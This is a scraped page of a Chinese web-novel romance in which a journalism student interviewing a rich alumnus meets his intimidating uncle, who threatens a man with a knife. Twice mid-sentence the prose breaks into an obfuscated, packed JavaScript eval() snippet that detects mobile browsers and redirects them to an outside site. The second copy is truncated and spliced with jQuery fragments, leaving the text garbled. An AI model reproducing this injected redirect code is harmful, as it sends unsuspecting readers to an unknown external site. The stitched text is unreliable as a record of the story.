《坏情诗》 1. 交集 11月底的花城一夜急冻入冬。 南大校园里的异木棉花开正盛,秋风裹挟细雨,潮湿地面铺了层粉花绿叶,空气都是淡淡花香。 手机里传来冷漠的嘟嘟声,少女再次打过去时对面直接说已关机。 她团在椅子抱着膝盖,抬头盯着电脑屏幕。 微信聊天框,绿油油的密密麻麻文字却伴随未发出的红色感叹号。 对方态度强硬,言语冷漠狠心又恶毒。 旁边的室友啧一声,打破安静氛围:“就是不接电话呗。” 忍不住皱眉指责:“这非遗女博主真的是非不分,你只是去线下采访了她两小时,被她那花心男朋友看上,明里暗里纠缠了一个星期,你都没告他性.骚扰,她发现男朋友不忠后不分手反而大骂你小三绿茶*货?” “还不许你发布采访稿,不然就告你侵权?老天奶,这么漂亮的女孩怎么是个不长眼的恋爱脑啊?” 室友蹭地从椅子上起来,双手叉腰,生气地哼:“电话打不通,微信拉黑,她怎么就那么固执认为是你勾引她男朋友呢?她男朋友除了有点钱以外,有什么地方值得你勾引啊?” 池绿微微叹息,唇角无奈一撇:“有钱还不够吗?钱就是他玩弄女孩的资本。” 周存希疾恶如仇地呸,瞧见当事人唇角的笑,恨铁不成钢: “嗳,你还笑得出来,现在距离老杨布置的名人采访作业只剩下2天了!你打算咋办啊?” 她都替池绿发愁,老杨的作业可不好糊弄,ddl也得有采访对象。 本来池绿这两天已经剪辑好采访录制的视频,稿子也写好,只差博主过目同意就能上交作业,万万没想到这几天的努力会因为一个见色起意的傻x男人全部泡汤。 池绿打开社交平台,点击关注列表,淡定说:“没事。我再看看有没有其他20万粉丝的博主。” “我帮你一起找找。” 周存希说:“你就是性子太软,她们才欺软怕硬。” 池绿不是硬碰硬的性格,她秉承多一事不如少一事,不惹事也不怕事。博主断定是她勾引了她男朋友,说破天都不愿意授权采访内容,还把她骂得狗血淋头,那她也没必要一而再再而三舔着脸去央求。 与其低声下气求人同意,把自尊按地上摩擦看人脸色,不如重新找机会辛苦一点赶ddl。 何况合作不愉快也是对生命和时间的浪费。 教授的采访作业要求是任意平台20万粉以上的博主,或者杰出校友、杰出青年,杰出企业家,必须线下采访。 偏偏她们不认识这种‘人物’。 任意平台20万粉丝以上的博主还是很好找的,但是要有故事性可挖掘还愿意出境采访的人就很难了。 各种平台都已经筛过一轮,一时半会实在难以在关注列表里找到适合人选。 忙里偷闲打开朋友圈,往下划拉,一张配图吸引了她的注意。 ——是一本财经杂志封面。 西装革履的男生温柔慵懒地看着镜头,成熟稳重的造型也难掩身上的清隽俊朗少年感。白底硬照稍不注意容易拍土,但他表现力很强,五官也很上镜。 金融系的师兄——沈聿初。 他代表学校去智力竞赛类节目《最强》录制,连续两届成为最强脑王,今年拒绝了节目的邀请,因为这些对于他来说没难度。 去年暑假在家里人的支持下创立一家风电公司天越股份,短短一年成为国内风电设备龙头。 风机环节竞争激烈,几家风机企业的风机制造业务整体呈现较大幅度的亏损,而天越股份却能稳步盈利。 学校教授提起他,都是骄傲和夸赞。 有些人生来就在罗马,暑假闲着无聊开公司拉投资,而普通人找个月薪三千的工作还得被挑三拣四。 池绿是开学代表新生上台演讲时认识的沈聿初,他是大四优秀学生代表。 在后台相遇,俩人成为点头之交。 真正有过交谈是在前段时间的校运会,池绿代表新闻系举牌子入场,穿高跟鞋脚后跟磨出了血,沈聿初在身后喊住她:“池绿,你的脚流血了。” 沈聿初居然记得她的名字。 那天阳光很好,操场熙熙攘攘,热闹非凡的环境里,少年蹲下,弯曲的脊背弓出好看的弧度。 他撕开创可贴,贴在磨破皮的肌肤,抬头,明亮刺眼的日光朦朦胧胧晕在他好看的脸。 笑容在光晕里模糊不清:“不适合的鞋别勉强,裙子搭帆布鞋也很好看。” 池绿平时经常随手点赞别人的朋友圈,划走之际点了个赞。 过了两分钟,微信对话框嗡嗡震动。 沈聿初:【忙完采访了?】 池绿没想到他会发信息给她,前几天在办公室遇见,聊了几句,她以要采访为由急匆匆告别。 【忙完了,但新的一轮还没开始】 【熊二叹气jpg】 她的微信昵称是池+两颗淡黄色月亮emoji。 沈聿初:【这次打算采访哪个领域的人才?】 这句话让池绿愣了几秒,黯淡的眼睛随即亮起光芒,醍醐灌顶——他倒是很符合老师口中的杰出校友人选。 仔细斟酌打出一大堆文字,将博主事情的经过结果一一告知。主要诉求是问能不能在这两天采访他。 【没空也没关系的。】 发过去后,池绿忐忑等答复,虽然她印象里的沈聿初性格很好,但突然说采访他,站在他的角度来看,实属有点冒味。 她双手握着手机,盯着屏幕,输入文字的左右拇指不安戳动,直到对话框弹出连续弹出两条消息。 【有空。】 【很急的话,我让司机去接你,今晚我们边吃边聊。】 一颗悬起的心稳稳落地,池绿眉宇间的阴霾散去,在26宫格虚拟键盘快速输入。 【不用麻烦,你告诉我地址,我直接过去就行。】 周存希还在刷手机物色采访人选,耳畔响起熟悉的雀跃声音。 “我找到了合适的采访对象。” 周存希抬头,撞上池绿明媚的笑容后有一瞬间恍神,犹如海藻般的发披散在她肩膀,浓郁蓬松的黑衬得皮肤白嫩透亮。 最神的是那双水灵灵的桃花眼,永远透着晶莹亮光,军训后代表新生上台,靠颜值火上热搜,成为南大新闻系一张行走的名片,网友说她柔软眼睛像星辰大海。 哪怕经常跟她待一起,每次看到这张清纯无害的脸都会愣上几秒,百看不厌。 半响才想起回复:“谁呀?” 池绿报上名字。 周存希惊讶,“就是暑假闲着无聊开了家风电公司,公司估值达到16亿,经济学教授赞不绝口的那个沈聿初吗?” 一大段前缀介绍让池绿忍俊不禁,点头。 周存希高兴地跳起来:“行啊,我怎么没想到他,你们是怎么聊上的?” 周存希的活动轨迹跟池绿高度重合,也知道他们俩人认识,但没想到这种大神级别的人物会愿意江湖急救。 池绿不觉得跟沈聿初的聊天是私密,大大方方地把手机给她,径直去翻衣服时听见周存希姨母笑:“师兄对你可真不错耶。” 池绿没听出她的言外之意:“他人本来就很好啊。” 外面狂风呼啸,单薄外套已经抵御不了寒风,她打开两个月没动的行李箱,一股刺鼻的味道令她皱眉。 是樟脑丸。 她开学前收拾行李箱时,爸爸往里面塞了一包樟脑丸,南方容易潮湿生虫,老一辈喜欢在衣服里塞樟脑丸,觉得能驱虫。 一觉睡醒天气急骤变冷,压在箱子里的秋冬厚衣服还没来得及清洗,樟脑丸的气味肆意蔓延。 从行李箱里拿出带有樟脑丸味的针织长衫,快速去卫生间换上。 换好衣服后回到座位,关了电脑,准备出门。 周存希又一次惊讶道:“你就这样出去见人吗?” 顿了顿,加了句:“见男人。” 池绿顺着她的目光低头。 灰色针织长衫里面是半高领打底和阔腿牛仔。 周存希让她换成小白裙叠短款针织外加一件长款针织,再穿一双圆头玛丽珍。 她肤色白净,身型单薄纤瘦,穿灰色系书卷气息浓郁,说时髦点是温柔校园格雷系女孩,文艺点便是清纯柔软跃然纸上,像一朵高岭处的山茶花。 即使素颜也很有气色,化妆反而失了天然雕饰的自然美。 周存希给她涂上口红,问要不要穿她的厚衣服,樟脑丸的气息太冲,怕会污染沈聿初。 池绿噗嗤笑出声拒绝:“待会出去走两圈味道就散了。” 手机嗡嗡响动了一下。 以为是沈聿初,立刻解锁屏幕打开微信。 【沈董今天5点的飞机落地花城。】 蒋霖突然出现在聊天列表里。 短短12个字令池绿唇角的笑容猛地凝固,本就白净的脸几乎是瞬间苍白。 像看见什么脏东西,立马将手机息屏,反盖桌面。 窗外粉色异木棉在风中摇摇晃晃,像她不安的心,惴惴晃动。 蒋霖是沈序秋的秘书,平时不会给池绿发消息,只有在沈序秋回花城时才会通知她一下,冷漠得像个人机。 上次发信息还是国庆节后,沈序秋从北城回来。 蒋霖发信息给她就意味着她要去星月湾别墅。 现在是下午4点,离5点还有1个小时,他从机场回到别墅不塞车的话预计是40分钟。 ——还有1个半小时,她就会见到沈序秋。 冷风从窗户间隙无声灌入,她单薄身体打了个寒颤。 “池绿,你发什么呆呢?可以去找沈师兄了。” 周存希的声音把池绿的思绪拉回来。 她勉为其难地笑笑说好。 解锁手机,打开蒋霖的对话框。 思忖片刻,礼貌回复。 【抱歉,有条采访必须今天完成,不能按时回星月湾,能不能麻烦你跟沈董通融一下,我大概九点左右过去。】 捏着手机七上八下等回复。 不知是不是穿裙子不抗风,她冷得抖了抖,脑海里想起那双阴冷如隼的眼睛。 每次看她时都仿佛一把利刃,抵着她的心脏。 池绿吞咽口水,喉咙却像感冒时又痒又疼。 端起侍应生给的柠檬水,细细抿着。再次查看手机,已经五点半,这会沈序秋应该已经下了飞机,在回别墅的路上。 蒋霖还是没回复她。 沈序秋是高位者,就连他身边的秘书也自带一股高高在上的气息,回消息爱答不理。 池绿给自己打镇定剂——不回复就是默认同意。 不同意也没办法,她已经到了沈聿初给的见面地址。 酒店大堂明亮如昼,落地窗外天气阴沉沉。 池绿端端正正地坐在沙发,蓬松长发扎了侧边麻花辫,她的侧脸特别乖巧干净,安安静静地用黑笔在笔记本补充采访大纲。 桌面放着云台,相机,录音笔。 “你真是贼心不死,阴魂不散啊。” 熟悉的声音吓了池绿一跳,抬头。 站在面前的女人一袭黑色礼裙,精致漂亮的五官不悦地瞧她,双手抱胸趾高气昂。 是非遗女博主。 “你从哪里打听我的行程?买通了我哪个助理?勾引我男朋友还死乞白赖要我配合完成你的作业,现在的大学生都那么不要脸了吗?” “你误会了,我不是来找你的。”顿了顿,清澄的双眸柔软坚定:“最后一次重申,我没勾引你男朋友,你既然那么宝贝他,就好好看着他,别让他有时间骚扰其他女孩。” 池绿觉得她吵,盖上笔帽,不想和她争辩。 把桌面的东西一一放进帆布包,突然,身上一凉——女博主把柠檬水全洒在她脸上。 滴滴答答的水顺着光滑的下巴落在胸口,酸味从唇角侵入。 “我就是太体面了,你才敢口不择言。” “你现在立刻从我眼前消失,以后再出现在我面前,就不止泼水那么简单了。” “好大的口气。” 池绿偏头,大堂电梯里走出一道身影,男人一身黑色西装,腰板挺直,气度翩翩。明亮的水晶灯下,他五官英俊,眉眼轮廓明朗深邃,透着一股少年感。 金碧灿烂的大堂在他出现的那刻仿佛失去了夺目的属性。 真人比封面杂志更意气。 池绿心想,沈聿初还挺重视这次出镜采访。 “我请来的贵宾,什么时候轮到你让她消失?” 坐得端正的池绿被泼水后一脸茫然,黑发湿哒哒贴着白嫩的脸蛋,单薄的身子紧绷着,看上去特别惹人怜爱。 沈聿初皱眉:“你泼妇一般泼人水是什么意思?” 女博主瞬间红温,她从男朋友那知道这是沈聿初——云维集团董事长的侄子。 “抱歉,我不知道她是您的朋友,我以为她是跟踪我过来的。我男朋友是容恒公司的二少,今天一起来参加你的生日宴……” 沈聿初瞥她一眼:“你要道歉的人不是我。” 女博主明白这句话的意思,她倒也挺能屈能伸,对池绿说:“对不起啊。” 池绿知道她的道歉没几分真心,但这种让她道歉的机率错过就没了,便故意说:“我没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他下了飞机,没回星月湾。 下跪的狼狈男人,高高在上目中无人的沈序秋,袖手旁观的蒋霖…… 熟悉的画面,跟几个月前在浮邻县发生的场景高度重合。 记忆涌上脑海。 她呼吸有些困难。 沈序秋屈尊俯身掐住男人的下巴时,池绿感觉那双手扼住的是她的喉咙,空气变得稀薄,大脑缺氧到疼痛。 “做恒达的间谍偷走宇航新品的核心技术,害我亏损20个亿时,你怎么没想到自己上有老下有小?” 男人哆嗦起来,不顾形象地痛哭流涕。 “你一个跪能长出20亿还是我看上去像好人?” 沈序秋虽然微微俯身,但狠戾的气势不减,像捏着一只无缚鸡之力的蚂蚁,玩弄鼓掌。他的腕稍稍用力,狠狠地甩开男人,安静的大堂甚至能听见下巴脱臼的咔嚓响动。 叫声凄厉。 池绿心惊胆战地摸了摸自己的下巴,肩膀缩了下,头皮发麻。 ——行为一如既往的恶劣妄为,是普通人不敢侵犯的权势顶端,是生命链的主导者,肆意张扬的活在他所建构的世界,他就是规矩。 谁惹他不快,谁就得在他制定的惩罚里脱去一层皮肉。 匍匐的男人又想抱沈序秋大腿,被他一脚踹开,不悦地问:“什么垃圾都能碰我,保安那么高大威武是用来招客吸引富婆的?” 围观的大堂经理汗流浃背,立马让保安进来把人丢出去。酒店是云维集团的产业,他们打工族哪里敢让老板不愉快。 点头哈腰地跟沈序秋道歉后安抚大堂的客人,今日住房优惠5折。 看戏的人噤声。 池绿想逃,想躲。 但来不及,旁边的沈聿初略惊喜地喊:“四叔。” ? 沈聿初叫的是谁? 被喊四叔的沈序秋正用蒋霖递过来的手帕擦拭手指,抬起眼皮,没温度的黑眸冷沉沉地扫过去。 隔着初冬夜晚的风,肆意的暖气,他的目光从沈聿初的脸沉寂地转移到池绿的脸。 深不见底的黑眸瞬间凝起冷意,像是阴暗里冷静从容,捕捉到猎物后蓄势待发的蛇。 透着阴湿的亮。 光是不经意地瞥一眼足以令人冒冷汗。 少女对上他的视线,怯生生地后退了两步,单薄的身子紧绷缩着,仿佛被一把刺刀抵着,低眉敛目地数着地下闪闪发光的砖。 反而是她旁边的越窑秘色瓷里插着的白色蝴蝶兰呈扇形恣意舒展。 震惊过后的池绿这才反应过来,沈序秋和沈聿初都姓沈。 他们之间居然是叔侄关系。 早知如此,她死也不会采访沈聿初。 如今后悔也无济于事。 池绿僵在原地,直到有限的视线范围内出现了一双锃亮的黑皮鞋。 她屏息,一颗心跳到嗓子眼。 是凌迟前的精神折磨。 沈聿初笑:“你回来也不提前跟我说,我好去机场接你。” “怎么一回来就生那么大的气?还以为我看错人了。” 沈序秋冷冷地刮着池绿要埋进地缝的脸,一声哼笑从鼻腔溢出时她将脸掩得更低,好似要把自己的下巴吃掉。 随意问:“吓到你女朋友了?” 轻松聊天的口吻。 沈聿初啊了声,顺着目光看向池绿,笑得更好看了。 “这是我师妹,南大新闻系的池绿。池绿,这是我四叔。” 被点名的池绿实在躲不过去,捏着衣摆的手骨节泛白,她不知道沈序秋又在玩什么游戏,是没认出她,还是故意这样问。 踌躇时听见他说。 “南大的学生怎么鹌鹑似的,落枕了?” 池绿知道,这是一种变相的命令——命令她抬头。 容不得她拒绝反抗装聋作哑。 她在自己急促的呼吸和紧张的心跳声中缓缓抬脸,清澈的瞳孔泛起莹光。 不同于远观,沈序秋近看压迫感更是无处可盾,他眉眼冷而硬,棱角刀削般锋利,鼻梁高挺英气,那双狭长的眸是尖锐的刀子,是能随时缠上她脖颈的毒蛇,每次看都心生恐惧。 沈序秋眯眼审视她。 她那双墨黑的桃花眼漾着一池波光粼粼。 粉唇咬得发白,头发、胸口的衣服湿了大片,不像是淋雨了倒像是被人泼了水。 他眼皮下的冷傲显而易见,平静地说:“聿初,别什么人都往生日宴请。” 2. 出来 脱下被浇湿的针织后樟脑丸的气味也随之消散,粉色礼服散发着淡淡馨香。 池绿至今没想明白,怎么就乖乖听话参加生日宴了。 思绪恍惚回到20分钟前,沈序秋说完那句话后大堂明显更安静,空气中像是注入了一股寒流。 身上的冷意让池绿大脑保持住清醒和转动——沈序秋并不想让其他人知道她们之间相互认识。 毕竟又不是什么光彩的事情。 那段记忆对于沈序秋来说也是人生耻辱吧。 所以她也得装陌生人。 好在沈聿初没察觉到什么端倪,他好似听不懂,淡笑说请的都是朋友,顺势又说该上去了。 池绿正想找机会说不去,奈何沈聿初率先问:“池绿,一起吃个生日蛋糕吧?” 生日蛋糕。 寿星三番两次要请她吃蛋糕。 把她架在那,她要是再拒绝显得有些不知好歹了。 沈聿初看出了她的纠结,说:“不会很久,待会采访完我让司机送你回学校。” 采访。 她不知道还能不能继续采访沈聿初。 一方面是不想跟沈序秋以及他身边的人有其他来往,怕会因此又惹他不快;另一方面是已经到了这里,只差采访的最后一步,她不想前功尽弃,交不了作业影响期末成绩肯定拿不了奖学金。 也是这时,她冷不丁对上沈序秋的目光,明明他冷冽的眸子没什么温度,只是紧紧锁着她的脸,一股寒意却迅速从头蔓延到脚。 他不需要开口说什么,一米九的身高加上平直的颈肩线,与生俱来的压迫感轻易将人束缚,狠狠压制。 她在肩宽窄腰的他面前更显单薄。 神经猝然紧绷,皮肤也起鸡皮疙瘩,动了动唇打算拒绝时,听见沈聿初说:“四叔,池绿的采访碰巧安排在了今晚,我想早点出来,待会还得麻烦你跟他们周旋周旋。” 像听到什么荒唐,沈序秋眼尾噙了丝笑,眼色却依旧很淡,笑意浮于表面:“自己的场子,叫我周旋?连基本的时间管理能力都没有,也别姓沈了。” 被嫌弃后沈聿初也不恼,笑容温和:“有四叔在,我放心。” “少来。”沈序秋显然对这种话题没耐心,说完这句闲情逸致也消耗殆尽转身离开。 行走时垂顺的风衣两侧下摆被风撑起弧度,衣摆飘逸,直挺的背影硬朗性感。 随着沈序秋离开,池绿一颗悬着的心缓缓落下,虽然他全程没有对她说一句话,可是每次眼风扫到她却像重量级的锤。 他既然没说不能采访,池绿为了作业和奖学金,在沈聿初的再次邀请下识相地跟上步伐。 生日宴在奎里酒店,奎里也算是花城的半张名片。 作为国内最高的酒店之一,景色壮丽优越是它最不值得一提的优点,窗外就是花城的地标建筑,云雾朦胧难以散开时还能看见漂浮半空的云,酒店设计极有格调,每个角落的铺陈都无比奢华,连厕所都高级如艺术馆,每天奎里酒店楼下来来往往的豪车数不胜数。 但也不是谁都能上来,设有最低消费,一晚上人均消费金额按几万几万烧,最贵套房每晚7万元。 现场大提琴优美动听的音乐跟晚宴其乐融融的交谈声混合。 矩形水晶吊灯下的暗色与鎏金交错,入目是极致的黑金色调,布幔呈对称拉开,欢声笑语的场景纸醉金迷,充满浓浓老钱风。 生日宴对于上流社会的成年男性来说只是追逐名利的一种形式。 各行各业精英真正目的也不是为那一块美味甜腻的蛋糕,而是利用这样的社交平台寻找合作商机,分享资源,拉拢人际关系。 即使换上华丽礼裙,池绿也融不进奢靡的晚宴。 男人讲A股讲融资,女人的话题珠宝高奢,她内心只想着能快点采访完离开。 不远处沈聿初还在跟打扮光可鉴人的男生聊天。 她也不是全闲着,用相机拍摄纸醉金迷的晚宴现场。 无论这次采访会不会用上,都可以留着当素材库备用。 门口传来动静,池绿就处在大门角落,条件反射性侧眸望去。 两名侍应生缓缓将黑金门拉开,洞门大开,空镜中出现一双极长的腿。 ——视线往上,是沈序秋俊美的脸。 他换了一袭法兰绒双排扣西装,里面是黑色马甲和白衬衫,领口系着端端正正的深色温莎结,矜贵慵懒,以睥睨之姿扫了眼全场。 宴会厅里似乎静止了几秒,光影交错的声色场,众人被大门的动静吸引,犹如一镜到底的电影长镜头,每一帧都默契十足朝着同一个方向观望。 沈序秋在众目睽睽下径直迈入晚宴,秘书蒋霖目不斜视地跟在他旁边。 有不少西装革履的男人热情簇拥上去,握手交流。 晚宴立马又恢复了刚才自由自在的氛围,但空气隐隐涌着丝丝躁动。 “天哪,沈序秋居然回来了,以为他还在处理燕城那边的项目呢。” “想去跟他打招呼……” “去呀去呀。你今天穿得那么美,我看了都移不开目光,何况男人。” 周围兴奋的讨论声让池绿耳朵疼,她将正在录制的相机按停止,刚才镜头不小心对准了沈序秋,记录了他出现的一幕。 哪怕画面唯美高级,她依旧觉得晦气。 回去就把有他的部分剪掉。 “美女,你录的这段视频,我能买断吗。” 肩膀被人拍了一下,池绿回头,是一张漂亮但陌生的脸。 “付厘,你买断用来做什么?睡前做春梦用啊?” “不能吗?沈序秋的独家高清视频,我可以反反复复看一辈子。” 居然有女生要买断沈序秋的视频,池绿本来想说不用买送给你,但转念一想,沈序秋欺负她,她用沈序秋赚钱怎么了,卖个好价钱就当弥补她受伤的心灵。 池绿记得宿舍的萧乐说她高中去看某团体的演唱会,在vip前排用相机拍了几张高清照片和视频,当晚在粉丝群里卖了800块。 按沈序秋的颜值,以及眼前女生的非富即贵穿搭,一段视频卖八百也不过分吧。 她试探性地比了个手势。 女生挑眉问:“八千?” “成交。” 池绿一惊,‘八百’两个字硬生生咽下去。 随口就是八千。 原来沈序秋那么值钱。 池绿第一次接触那么大的生意,除了不敢置信以外更多的是心虚感和怕被当事人发现的紧张不安。 但八千块对于她来说诱惑力太大了,一时被冲昏了头:“我今天没带读卡器,传不了手机,我们加个微信吧。我回头发给你。” 拿出手机扫二维码时手在抖。 内心默默祈祷沈序秋永远不会知道她拿他视频卖钱。 池绿拍了几段沈聿初跟别人交谈的视频当素材后,身体莫名冷得打颤,嘴唇冰凉凉,肚子也有点疼,估计是着凉感冒了。 原本血条拉满的她,现在只想找个没人的地方躺一会。 沈聿初让她去隔壁总统套房,他晚点就到。 10分钟后有条不紊地进行的晚宴却乍然发出巨大动静。 众人疑惑地寻声看去,中间的人群形成圆圈惊恐后退。 中心圈有个男人握着一把瑞士军刀呐喊着去死之类的词语,并凶狠扑向沈序秋。 就在全场都以为沈序秋要遭殃时,他却矫健攥住男人握着军刀的手腕,猛地一掰,男人痛苦的叫喊声伴随着咔嚓声清晰响起。 滑落的刀被沈序秋接住后,他顺手将男人脑袋狠狠摁在旁边桌面,哐当哗啦掉地的果盘香槟红酒尖锐刺耳。 现场一片混乱,红色液体染红了白布。 打扮精致的美女们个个都被吓得花容失色。 几个安保从门外跑过来迅速将他压制住带出去。 差点被刺一刀的沈序秋文风不动,淡定自若地跟着。 周围噤若寒蝉,安静得诡异。 沈聿初及时站出来控场,安抚大家的情绪。 还说这是家事,不希望被外传,让刚才拍了照片录了视频的人删掉。 在场很多人都等着沈序秋指点一二,恨不得把心掏出来说没拍照,保证没有东西外流,最重要的是他们可不敢得罪沈序秋这尊大佛。 他当年掌权云维,不顾他爸爸沈敬驰反对六亲不认,将夺权失败挪用公司几个亿公款的伯伯送进监狱,一大批对他上任表示不服的高层瞬间被他的雷霆手段整顿得鞍前马后。 但他根本不在意,稳定局面后又开始组建信得过的新鲜血液,短短半年云维公司整个系统就全部更新换代,现在就连沈敬驰说话也不顶用了。 在名利场那些圆滑包容的富商虽然表面和气,不做当众为难人这种上不了台面的事情,却爱背地里搞能害死人的大动作。 而沈序秋杀伐决断从不看场合全凭心情。 脾性烈,方式野,硬痞。 沈敬驰一开始还看不惯他没风雅的我行我素,教育他别把恩怨放明面,如今慢慢地也睁一只眼闭一只眼。 一是优柔寡断善良也无法在这个高位长久立足,二是他生性如此。 像一头未被驯服的锐利野豹。 他对待亲情都如此狠心,何况是外人。 自然没人敢挑战他,忤逆他。 * 隔壁总统套房。 劈里啪啦声把趴在床沿歇息的池绿吓一跳。 总统套房是三房两厅,池绿回到刚才换衣服的房间穿上有樟脑丸味的外套便趴着床沿休息。 听见动静以为是沈聿初过来了。 她乏力地起身,捂着绞痛的肚子来到门口看到一群人影又被吓得弹簧一般缩回去。 她好像看见沈序秋了? 心脏跳到嗓子眼。 脑子一片浆糊,好奇心促使她再次将脑袋探出。 会客厅站了几道身影。 其中一道颀长硬朗正是沈序秋。 他身上的西装外套不知何时脱下了,坐在沙发单手解开温莎结领带,凌厉的眉目阴郁冷鸷地盯着被两个壮汉五花大绑摁在茶几的男人。 ——是刚才在楼下跪着抱住沈序秋大腿的男人,他不知怎么混了进来。 看上去是要被狠狠教训。 沈序秋难道是想做违法犯罪的事情吗?不然为什么把人摁在茶几。 他也不是第一次让手下摁着人,几个月前爷爷只不过是动怒拍了下桌子,他们立马就把爷爷摁桌面…… 他还看似指责手下,实则阴阳爷爷:“一个70岁老头还能伤到我?别把老人骨头压碎了。” “不过,老人既然皮痒那你们就帮忙磨一磨。” 坏极了,像流氓痞子,一点也不尊老爱幼。 还有什么坏事是他不敢做的吗? 躲在房门里的池绿因身体的不适和紧张,发鬓冒着细汗,思绪空白了几秒后颤颤巍巍拿起相机,偷偷对着会客厅按下录制时手抖得厉害。 沈序秋冷眼任由男人大喊大叫,搁在膝上的右手娴熟灵活地玩转着一把瑞士军刀。 像高中一些男生课间休息时用圆珠笔在五指转动耍帅吸引女生注意。 只不过,圆珠笔变成了军刀,他也不是耍帅,单纯是在思考、旁观。 他也用不着耍帅,那张脸轮廓深邃,骨相顶级。 见男人骂得筋疲力尽后,沈序秋停止了指尖的转动,手里的刀片光影闪亮刺眼。 “骂完了?” 沈序秋起身走到男人身旁,锋利刀尖抵着男人的头,他顿时不敢挣扎。 “比起动嘴我更喜欢动手。” “你说,这刀刺进脑袋里,流出来的是血还是草包啊?” 被摁住的男人紧绷着,顿时没了骂人的力气。 那抵着脑袋的刀飞速拿起再猛烈刺下时吓得池绿捂嘴紧急闭眼。 外面惊恐、惨绝人寰的尖叫声停下后,她才敢睁开眼—— 男人侧脸压着的果盘四分五裂,锋利光亮的刀刃上倒映他惊恐的眼睛,他哆嗦着,眼泪流出,短短几秒脸上爬满冷汗。 沈序秋垂眼,目光寒戾,他拿起插.裂果盘的刀,阴沉的眸阴恻恻:“比起你低俗的骂声,我更乐意听你绝望的哭喊声。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405204|168744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啧,活在法制社会真是便宜你了。” 偏了几毫米的刀是法律,不是沈序秋的道德底线。 男人有一种死而复生的松懈,笑得厉声:“为了那点亏损,你非要对我赶尽杀绝。” “沈序秋,你没有心,要不是你大哥飞机失事,老二车祸成植物人,老三从政对商没兴趣,你区区一个上不了台面的私生子怎么可能坐上今天的高位?” “你当年一回来他们就死亡出事,你难道不是扫把星?他们的死因说不定跟你脱不了关系……” 说到后面开始咆哮:“我要警察重启档案严查!” 蒋霖眉心突突直跳,这男人真是不要命了。 ‘私生子’三个字是沈序秋的逆鳞。沈序秋18岁被接回沈家后在祠堂跪了三天三夜才认祖归宗,上面有三个同父异母的优秀哥哥,大哥和二哥从小就被当成继承人培养。 集团再怎么也不可能由一个私生子接手继承。 沈序秋回沈家的那两年是不受重视的镶边人物,直到大哥和二哥相继出事,外界都传他是克星。 沈敬驰悲痛欲绝的同时顶着压力和舆论亲手培养沈序秋,因为三儿子对商没兴趣一心从政。众人都觉得沈敬驰疯了,沈家要垮。 毕竟一个突然冒出来的私生子能有多大能耐。 刷题背书走高考路线的九年义务教育学子怎么跟国际学校培育出来的商业精英比。 从眼界到思维,差距十万八千里。 沈序秋就算搭乘火箭,也得有实力能到达目的地,不然还不是在天上乱窜。 外部和内部都在等着看沈序秋笑话, 然而他上任后的这几年,云维资本发展很迅猛,海上风电、合成生物、医药、娱乐酒店领域在全国数一数二。 一年前建设低空经济产业宇航股份,新品采用氢电混合动力系统突破了续航能力,引发行业震动,宇航在他手里运转了五个月就飞跃成龙头,在圈内掀起风暴。 就在众人都感叹不愧是沈敬驰亲手培养的接班人,沈家的血脉果然很优秀时,云维旗下的宇航股份新品研发核心技术却被团队员工出卖给恒达。 没了核心技术,宇航等于被人抽了筋骨。 恒达靠着偷来的技术领先了一大步,沈序秋又怎么会放过他们。 这个男人的下场就是后果。 “他们的死因世人皆知是天灾。”沈序秋玩弄着手里的刀,尖利的刀片在男人脸上如熨斗般游移细致描绘,压低的嗓音似暗夜的深海,阴沉冰凉,令人肌肤染寒: “把你弄进去,让你身败名裂才叫人祸。懂?” 男人一听应激地挣扎,但被两个壮汉压制着,压根动弹不了。 薄刃从他下巴贴过,冰冰凉凉的触感、提心吊胆的折磨令男人大气都不敢喘,游走的刀刃像随时能割下他的肉。 “拿刀刺我的能耐哪去了?还没见血已经抖成筛子。” “背叛我的时候怎么胆子比天大?” 虽然厌恶背叛,但这种程度的对手,沈序秋都懒得多瞧一眼。 啪嗒一声,军刀被随意丢在桌面。 保安会意将男人拖出去,他凄厉的喊声响彻着。 绝望的咆哮过后,总统套房安静下来。 “出来。” 低沉命令的嗓音像寒冬深夜的风,吹得人骨寒。 沈序秋眼尾余光扫向房间时,里面的人有所感应地立马将身子缩回去。 躲在门后的池绿大脑嗡嗡一片空白,心脏噗通噗通要跳出胸腔,像一口气跑完八百米。 是叫她出去吗? 不会吧,她自认为自己没发出声音也没暴露。 她紧张兮兮地捏着相机,手心冒汗。 忽然周身光影黑下来,陌生男人的脸猝然出现在眼前,池绿被吓得尖叫出声之际胳膊被拽住,人被拖了出去。 沙发上那道熟悉的身影令池绿发抖,心脏仿佛被用刀抵着,七上八下。 “你躲在这里干什么?” 保镖凶狠地问。 将池绿拉出来后一把抢走相机,不知轻重地推了她一把。 她一个踉跄跌坐在柔软的羊毛地毯。 前面是翘着二郎腿的沈序秋。 她差点吻上他的鞋,她瑟瑟错开距离。 不敢抬头,低眉顺眼的,像濒临凋谢的花。 怎么还碰瓷呢,保镖冤枉:“?” 他真没故意欺负女孩子,咳了咳嗓子:“问你话呢,哪家娱乐公司的?” 站在一旁的蒋霖皱眉欲言又止,不着痕迹地看了眼沈序秋。 捂住疼得抽挛的肚子,池绿有气无力地坐着,这种情况下跟沈序秋面碰面,她慌张又无措。 “我没签约呢,也不打算进娱乐圈。” 保镖用异样的目光瞥她一眼,长得是挺漂亮,就是听不懂人话:“……” 语气也不由得软了点:“我问你是哪家娱乐公司的狗仔,什么时候进来房间偷拍的?” “我不是狗仔也没偷拍。”她视线偷偷往上,瞅了眼沈序秋的上半身,白衬衫解开了两颗扣子,露出锁骨和冷白肌肤。 单薄面料仿佛要被他的薄肌撑开。 